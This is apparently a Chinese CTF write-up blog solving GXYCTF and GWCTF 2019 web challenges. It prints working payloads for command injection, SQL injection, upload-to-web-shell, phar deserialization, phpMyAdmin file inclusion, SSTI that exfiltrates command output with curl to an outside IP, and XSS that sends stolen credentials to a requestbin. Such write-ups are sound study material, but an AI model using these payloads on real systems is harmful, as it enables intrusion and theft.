GXYCTF 2019
Ping Ping Ping
進入題目後,提示了 /?ip=
,於是加上參數 ?ip=1
試試看,發現是執行了ping命令:
然後嘗試:
?ip=;ls
發現成功執行了命令,但是當讀取 flag.php 時,發現過了空格,嘗試下面兩種繞過方式
${IFS}
$IFS$9
使用第二個$IFS$9
代替空格成功繞過,執行 ?ip=;cat$IFS$9flag.php
,發現 flag 也被過濾了,且通配符 *
同樣被過濾了,那我們先讀一下 index.php
:
可以看到源碼,的確過濾了一些特殊符號、空格和flag,下面有兩種方式可以繞過:
(1)可以使用變量的方式來繞過,只要 f、l、a、g 四個字母不按照順序即可,payload如下:
?ip=;z=g;cat$IFS$9fla$z.php
(2)我們發現代碼中沒有過濾反引號,那麼可以內聯執行命令,即用反引號內執行的輸出作爲另一個命令的輸入執行,payload如下:
?ip=;cat$IFS$9`ls`
flag在源碼中:
禁止套娃
掃目錄發現.git泄露,利用GitHack得到index.php源碼如下:
<?php
include "flag.php";
echo "flag在哪裏呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("還差一點哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("還想讀flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
看到過濾部分可以看出是關於 PHP 的無參數RCE/讀文件,可以參考我之前分析的 ByteCTF_2019 BoringCode
源碼可以看出 flag.php 就在當前目錄,不需要再跳轉目錄,於是使用如下payload列一下文件:
?exp=print_r(scandir(pos(localeconv())));
這裏的flag.php不在最後一個,所以不能像ByteCTF那一題一樣直接用 end()
函數,但是這一題並沒有過濾下劃線 _
,於是可操作性又增加了。
我們可以使用 array_reverse()
函數反轉數組,這樣 flag.php
就在第二個位置了,然後使用 next()
函數即可取到,payload如下:
?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));
BabySQli
隨手測試,通過回顯可以發現存在 admin 賬號,應該是通過注入登錄 admin 賬號,同時得到一段提示,先base32再base64如下:
select * from user where username = '$name'
嘗試一般的萬能密碼,發現被過濾了,既然提示了我們sql語句,那麼肯定是要根據sql語句來構造,於是猜測:
根據用戶名查詢到用戶信息:$user = select * from user where username = '$name';
然後判斷:$user->password === md5($password);
並且通過union聯合注入測試出有3列,猜測爲 id,username,password
,於是可以嘗試如下payload:
name=-1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
上面的意思就是:-1不存在,聯合查詢的結果會是後面我們構造的 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'
,正好對應的數據庫中的三列,也就構造了一個密碼可控的admin用戶返回。這裏的md5值實際上也就是我們後面填在密碼框中的任意密碼。(md(1)=c4ca4238a0b923820dcc509a6f75849b)
從而實現了任意密碼登錄,可以得到flag:
BabyUpload
進入題目後,直接是一個上傳頁面,經過測試發現:
- 過濾了MIME只能爲:
image/jpeg
- 黑名單過濾了文件後綴不能爲php
- 過濾了文件內容中的php標籤,可以使用
<script language='php'></script>
繞過
於是我們修改 MIME 上傳 .htaccess 文件:
然後上傳 shell.jpg 如下:
注:這裏網上有的wp說原題要條件競爭,但是我在buu上覆現的時候好像不需要…
兩個文件上傳後便可以成功訪問並執行代碼:
在 disabled_functions 中禁用了系統函數,那麼我們直接讀文件就好了,先列目錄:
?cmd=print_r(scandir('/'));
讀文件:
?cmd=readfile('/flag');
BabysqliV3.0
首先是一個登錄,使用弱密碼 admin/password
即可成功登錄,登陸後如下:
且url中有 ?file=upload
參數,於是嘗試文件包含:
?file=php://filter/convert.base64-encode/resource=upload
得到 upload.php 源碼如下:
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET[' ']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ //phar
$this->Filename = $_GET['name']; //文件名可控
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上傳的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
解法一(非預期解)
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name']; //文件名可控
}else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
由上面的代碼可以看到文件名我們是可以通過 name 參數傳入的,雖然經過了過濾,但是這裏的正則寫的有問題,都多匹配了空格,所以等於沒有過濾任何東西,導致了非預期。
中一種就是直接上傳shell,然後通過參數name修改文件名問php文件,直接訪問即可。
然後:
?cmd=system('cat ../../flag.php');
解法二(phar反序列化)
實際上這道題的預期解是通過phar反序列化,也就是利用了 file_get_contents() 函數來實現反序列化。
file_get_contents()
函數的參數是 Uploader()
類的一個對象,因此作爲參數時會調用它的 __toString()
方法從而返回 $this->Filename
,而這個 Filename
是我們可控的。
還注意到上傳文件的默認文件名是用 $_SESSION['user']
設置,因此我們隨意上傳一個文件就可以得到token的值了。
腳本如下:
<?php
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$this->cmd = "readfile('./flag.php')";
$this->token = "GXYc9a4bf152e1373381102b95a440f4968";
}
}
$o = new Uploader;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
將得到的phar文件上傳得到路徑:
然後再次上傳文件並加上參數 name 從而除法phar發序列化:
StrongestMind
進入頁面後,發現如下算式:
看來需要寫個腳本提交一千次正確答案,腳本如下:
import requests
import re
s = requests.Session()
url = "http://289777ed-2c71-46ec-ad64-00ba9f0b09e6.node3.buuoj.cn/index.php"
r = s.post(url)
count = 0
while count != 1001:
expr = re.search(r"(\d+)( \+ | - )(\d+)", r.text).group()
answer = eval(expr)
data = {"answer": answer}
while True:
r = s.post(url, data=data)
if r.status_code == 200:
break
count = count + 1
print(count)
print(r.text)
中間用While循環來提交請求是因爲在 BUUCTF 平臺上面跑的,沒隔一段時間就會返回一次404好像…原題應該沒必要這樣
結果如下:
GWCTF 2019
我有一個數據庫
掃描目錄可以發現 phpadmin,經過搜索,這裏是CVE-2018-12613,可以直接使用vulhub裏的poc:https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md
/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../etc/passwd
成功包含,然後直接讀取根目錄下的/flag,即可:
枯燥的抽獎
進入題目後,讓猜字符串,通過js代碼可以看到結果是發送的check.php,訪問如下:
代碼審計發現這裏是考php的隨機數種子爆破,參考2018SWPUCTF的一題:https://xz.aliyun.com/t/3656#toc-3
先使用如下腳本轉換隨機數:
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'aefhPEHpRX'
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1)-1) + ' '
break
print(res)
得到:
0 0 0 61 4 4 0 61 5 5 0 61 7 7 0 61 51 51 0 61 40 40 0 61 43 43 0 61
15 15 0 61 53 53 0 61 59 59 0 61
然後理由php-mt-seed工具,進行爆破種子如下:
然後再用得到的種子生成題目中要求的隨機數即可:
<?php
mt_srand(50222027);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
你的名字
進入題目後輸入名字會進行回顯,雖然是index.php的路由,但是從返回頭可以看出是python的後端,那麼就很想是SSTI了:
經過測試,過濾了{{}}
,只要使用就會報錯,既然只能使用 {%%}
語句,那麼很顯然就需要盲注,我們構造payload如下:
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].os.system('執行的命令') %}1{% endif %}
但是經過測試,if
、os
、class
、mro
這些關鍵詞會被替換爲空,發現config
也會被替換爲空,這樣我們就可以使用iconfigf
、oconfigs
的方式進行繞過,我們可以利用curl命令將執行結果帶出(在BUUCTF裏開一臺內網的主機來操作),payload如下:
{% iconfigf ''.__clconfigass__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.__globals__['linecache'].oconfigs.system('curl http://174.0.225.32/?a=`ls \|base64`') %}1{% endiconfigf %}
然後再讀flag即可:
{% iconfigf ''.__clconfigass__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.__globals__['linecache'].oconfigs.system('curl http://174.0.225.32/?a=`cat /flag_1s_Hera|base64`') %}1{% endiconfigf %}
mypassword
進入題目後,先註冊一個賬號並登錄:
只有兩個功能,在FeedBack頁面提交反饋和在List頁面列出並查看已提交的反饋(List頁面雖然有id參數,但是根據測試和提示,判斷並無SQL注入)。
在FeedBack頁面查看源碼,可以看到如下提示:
if(is_array($feedback)){
echo "<script>alert('反饋不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
過濾了很多字符,但是經過測試,繞過思路與你的名字那題類似,即在關鍵詞中間插入cookie進行繞過,如使用 scricookiept 繞過 script 的過濾。
於是嘗試盜取管理員Cookie,但是發現存在CSP,不能引入外部js:
於是查看./js/login,.s文件:
發現記住密碼功能會從Cookie中提取用戶名和密碼,並賦給username和password,於是我們可以利用這個內部js構造如下payload:
<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
var uname = documcookieent.getElemcookieentsByName("username")[0].value;
var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
var res = uname + " " + passwd;
documcookieent.locacookietion="http://http.requestbin.buuoj.cn/10l5f0o1?a="+res;
</scricookiept>
我們利用buuctf提供的requestbin進行接收,也可以利用vps接收。
提交之後等待管理員點擊即可,密碼就是flag:
blog
進入頁面後,首先註冊並登錄進去,只有一個上傳功能,我們看到url中有 page=index
參數,於是嘗試一下文件包含,但是提示不是admin:
於是我們來看這個上傳功能,雖然可以上傳php文件,但是並沒有給出路徑,而且上傳後會回顯文件名,和RCTF 2015 upload一題很類似,於是我們嘗試利用文件名進行二次注入。
首先測試一下過濾了哪些東西,隨便上傳一個文件然後抓包改文件名:
從文件名可以看到除了or以外都被替換爲空了:
除此之外還過濾了一些其他關鍵詞,不過經測試都可以用雙寫來繞過的,空格用嵌套括號繞過。
於是我們先構造一個payload如下,原理可以參考我RCTF那道題的Writeup。
'+(selselectect(conv(hex(substr(database(),1,5)),16,10)))+'
可以看到文件名返回了一串10進制,轉16進制再轉字符得到:bytect
。
然後修改substr截取的位置,得到數據庫名:bytectf
。
(之所以要一段一段讀是因爲如果一次讀太多的話會用科學計數法表示,就無法轉回字符串了。)
用上述思路,我們可以一步步注入出管理員的密碼:
表名payload:
'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(table_name))frfromom(information_schema.tables)whewherere(table_schema='bytectf')),1,5)),16,10)))+'
依次移動截取的位置得到:
轉字符串得到:
字段名注入類似,共有id、username、password、ip、admin五列。
最後我們可以用如下payload得到管理員密碼:
'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(password))frfromom(byte_user)whewherere(username='admin')),1,5)),16,10)))+'
不斷拼接並轉碼得到md5:3814d79033f6fc9c1d3cf002a1f92100
在線網站可得到明文密碼:kotori912
成功登錄admin賬戶:
下面我們就先再試一下文件包含,獲得提示:You can try to read picture file.
嘗試上傳文件發現會顯示illegal ip
,但是Cookie裏包含了cipher、plain、encrypt三個字段:
cipher=ZGRkZGhtZGRkZGhtT3J6MAQMOJb//iirvKap+mfDh7hTUOCjShL6T4pmnpOotVOJ
plain=eyJpc19hZG1pbiI6dHJ1ZSwiaXAiOmZhbHNlfQ==
encrypt=cbc
IV=ZGRkZGhtZGRkZGht
plain直接base64解密得到:
{"is_admin":true,"ip":false}
再結合cbc的提示,判斷利用CBC字節翻轉攻擊將將ip的值轉爲true。
然後。。
然後就卡住了,一直沒有成功…太菜了。。等之後密碼學好一點再來分析